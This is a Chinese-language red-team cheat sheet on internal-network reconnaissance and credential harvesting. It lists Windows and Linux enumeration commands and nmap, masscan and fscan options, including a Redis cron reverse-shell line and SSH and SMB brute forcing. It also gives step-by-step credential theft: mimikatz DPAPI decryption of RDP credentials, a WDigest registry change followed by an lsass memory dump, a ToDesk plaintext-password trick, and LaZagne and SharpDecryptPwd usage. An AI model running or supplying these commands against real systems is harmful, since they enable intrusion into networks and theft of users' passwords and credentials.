内网信息收集
一、Windows常用命令
1、CMD信息收集
netstat -ano | findstr TCP #查看主机开放端口
tasklist /svc #查看主机运行进程
ipconfig /all #查看当前主机详细网络信息
systeminfo #查看操作系统信息和补丁
arp -a #查看arp缓存
net user #查看所有用户
route print #查看路由信息
schtasks #查看计划任务
query user #查看当前登录账户
net localgroup #查看本地用户组
net accounts #查看密码策略
net share #查看共享
net statistics workstation #查看主机开机时间
netsh advfirewall set allprofiles state off/on #开启和关闭防火墙
netsh advfirewall firewall show rule name=all #查看防火墙规则
cmdkey /l #查看当前保存的登录凭证
dir %APPDATA%\Microsoft\Windows\Recent #查看最近打开得到文档
net start #查看当前启动的服务
#搜索后面文件里面的password
findstr /si password config.* *.ini *.txt *.properties
#信息收集ping
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="
2、wmic信息收集
wmic product list brie #查看当前主机详细网络信息
wmic service list brief #查看系统运行的服务
wmic process list brief #查看运行中的程序
wmic startup list brief #查看开机启动
wmic useraccount list brief #搜索用户账户
wmic qfe list brief #获取系统补丁
# 查看本机杀软
vmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3、Windows下的一键信息收集
getsysteminfo.bat #批处理文件获取系统信息
getuserpass.bat #批处理文件获取账号密码
wmic_info.bat #批处理获取系统信息生成表格
注意:批处理下的变量使用两个百分号%%i
Dos下的变量使用一个百分号 %i
二、linux常用命令
1、linux信息收集
ifconfig #查看当前主机详细网络信息
uname -a #查看操作系统信息主机名、系统名和内核
cat /etc/issue #查看系统名称
whoami #查看当前用户
cat /etc/passwd #查看当前用户权限
env #查看环境变量
history #查看历史命令
pwd #查看当前路径
arp -a #查看arp缓存
ps -aux #查看有哪些进程
netstat –anpt #查看开放的端口
route #查看路由信息
ls -la /etc/cron* #查看所有计划任务和配置文件
crontab –l #查看计划任务
cat /etc/crontab #查看计划任务
cat /etc/resolv.conf #查看dns服务信息
dpkg –l #查看安装了哪些包
who #查看登录用户
lastlog #查看登录日志
#查看xml文件中的password
find . -name ‘*.xml’ -exec grep -i ‘password’ {} \; -print
#查看敏感文件
find / -type f -iname “*.bash_history” -o -iname “*config*” -o -iname “web.xml” -o -iname “*database*” -o -iname “*pass*” 2>/dev/null
三、内网信息收集工具
1、nmap
-sS #半开放扫描。Nmap发送SYN包到远程主机,它不会产生任何会话.不需要通过完整的握手,就能获得远程主机的信息。因此不会在目标主机上产生任何日志记录,使用最频繁,安全,快
-sT #TCP connect扫描,需要完成三次握手,只适用于找出TCP和UDP端口
-O #检测操作系统、开放端口等等
-sA #用来穿过防火墙的规则集,检测哪些端口被屏蔽,速度慢。
-sV #扫描端口开放的服务及版本
-v #显示扫描的进程详细信息
-Pn #扫描之前不使用ping,适用于防火墙禁止ping
-A #包含了-sV,-O,全面系统检测
-T #0-5 扫描速度,5位最高
-p #指定扫描端口
-sP #ping扫描(不进行端口扫描)
-sU #UDP扫描,慢,可得到有价值的服务器程序
-iL #扫描一个列表文件
-oN #输出结果
--open #只显示开启的端口
-F #快速扫描,减少端口
-sC #根据端口识别的服务,调用默认脚本
2、Masscan
-p <ports,--ports <ports>> #指定端口进行扫描
--banners #获取banner信息,支持少量的协议
--rate <packets-per-second> #指定发包的速率
-c <filename>, --conf <filename> #读取配置文件进行扫描
--echo #将当前的配置重定向到一个配置文件中
-e <ifname> , --adapter <ifname> #指定用来发包的网卡接口名称
--adapter-ip <ip-address> #指定发包的IP地址
--adapter-port <port> #指定发包的源端口
--adapter-mac <mac-address> #指定发包的源MAC地址
--router-mac <mac address> #指定网关的MAC地址
--exclude <ip/range> #IP地址范围黑名单,防止masscan扫描
--excludefile <filename> #指定IP地址范围黑名单文件
--includefile,-iL <filename> #读取一个范围列表进行扫描
--ping #扫描应该包含ICMP回应请求
--append-output #以附加的形式输出到文件
--iflist #列出可用的网络接口,然后退出
--retries #发送重试的次数,以1秒为间隔
3、Fscan
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
四、内网凭证获取
1、DPAPI及它的两个API函数
- 从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。如果需要对某些数据进行加密或加密需要DPAPI提供的加密解密函数
- 对服务器密码(rdp凭证)的解密也需要用到Masterkey
2、DPAPI的作用范围
- IE、Chrome的登录表单自动完成
- Powershell加密函数
- Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
- FTP管理账户密码
- 共享资源文件夹的访问密码
- 无线网络帐户密钥和密码
- 远程桌面身份凭证
- EFS
- EAP/TLS 和 802.1x的身份凭证
- Credential Manager中的数据
- 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
- etc
3、Master Key/Master Key Files
- 存放密钥的文件则被称之为Master Key Files,其路径一般为:
%APPDATA%/Microsoft/Protect/当前登录用户的SID
- 但是Master Key Files中存储的不是直接的密钥,而是将Master Key进行加密(随机64位字节码经过用户密码等信息)所存放的内容
- Master Key和Master Key Files之间的关系其实就是, Master Key经过用户密码等信息加密后的内容才变成了Master Key Files中存储的内容
4、获取Master Key
- 注入lsass进程,从内存中读取Master Key,也可以dump lsass进程离线读
- 从注册表中获取(HKLM\SYSTEM、HKLM\SECURITY)
5、Windows RDP凭证获取
mimikatz解密
1、 获取guid rdp 凭证路径%userprofile%\AppData\Local\Microsoft\Credentials* 2、对应guid获取master key 3、利用master key 进行解密
guidMasterKey
每个用Master Key来进行加密的凭证信息,都是根据一个结构来进行生成的,而每个guidMasterKey就是对每个Master Key Files文件的标识符
#查看mstsc的连接记录 管理员权限可以获取所有用户的key
Cmdkey /list
#Sid 获取
whoami /user
#查看session id
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
#提升权限
mimikatz.exe "privilege::debug"
#查看guidmasterkey
dpapi::cred /in:C:\Users\{username}\AppData\Local\Microsoft\Credentials\{sessionid}
#对应guid 查看masterkey
mimikatz.exe sekurlsa::dpapi
#对密码文件进行解密
mimikatz.exe "dpapi::cred /in:C:\Users\{username}\appdata\local\microsoft\credentials\{session id} /masterkey:{masterkey}"
自动获取工具:https://github.com/GhostPack/SharpDPAPI
优势:使用can脚本自动读取masterkey guid 来解密密码,使用c#可以内存加载不落地执行
图形化工具Netpass:
https://www.nirsoft.net/utils/network_password_recovery.html
Windows server 2008明文密码获取
Mimikatz的使用 获取明文密码
mimikatz.exe "privilege::debug"
mimikatz.exe sekurlsa::logonpasswords
Windows server 2012明文密码获取
1、修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
2、锁屏或者退出账号
%windir%\System32\rundll32.exe user32.dll,LockWorkStation (需要system权限)
3、等待目标系统管理员重新登录
4、读取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
Mimikatz.exe sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Xshell和xftp密码获取
1、在线解密 SharpDecryptPwd
https://github.com/uknowsec/SharpDecryptPwd
Usage: SharpDecryptPwd.exe -NavicatCrypto
SharpDecryptPwd.exe -TeamViewer
SharpDecryptPwd.exe -FileZilla
SharpDecryptPwd.exe -WinSCP
SharpDecryptPwd.exe -Xmangager -p Session_Path –s sid
2、离线解密 how-does-Xmanager-encrypt-password
地址:https://github.com/HyperSine/how-does-Xmanager-encrypt-password
注意:xshell6.0以上要做sid认证 使用whoami /user 查看后sid进行离线解密,这里有个坑,安装pycryptodome记得修改\Lib\site-packages下的crypto把c改成大写不然会报没有这个库。
Todesk 凭证获取
从C:\Program Files (x86)\ToDesk\userInfo.json中获取USERID和PassEx,替换C:\Program Files (x86)\ToDesk\config.ini中的tempAuthPassEx,重新打开todesk就可以看到对方明文密码。
Firefox
https://github.com/unode/firefox_decrypt
综合利用工具LaZagne:
https://github.com/AlessandroZ/LaZagne
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox
...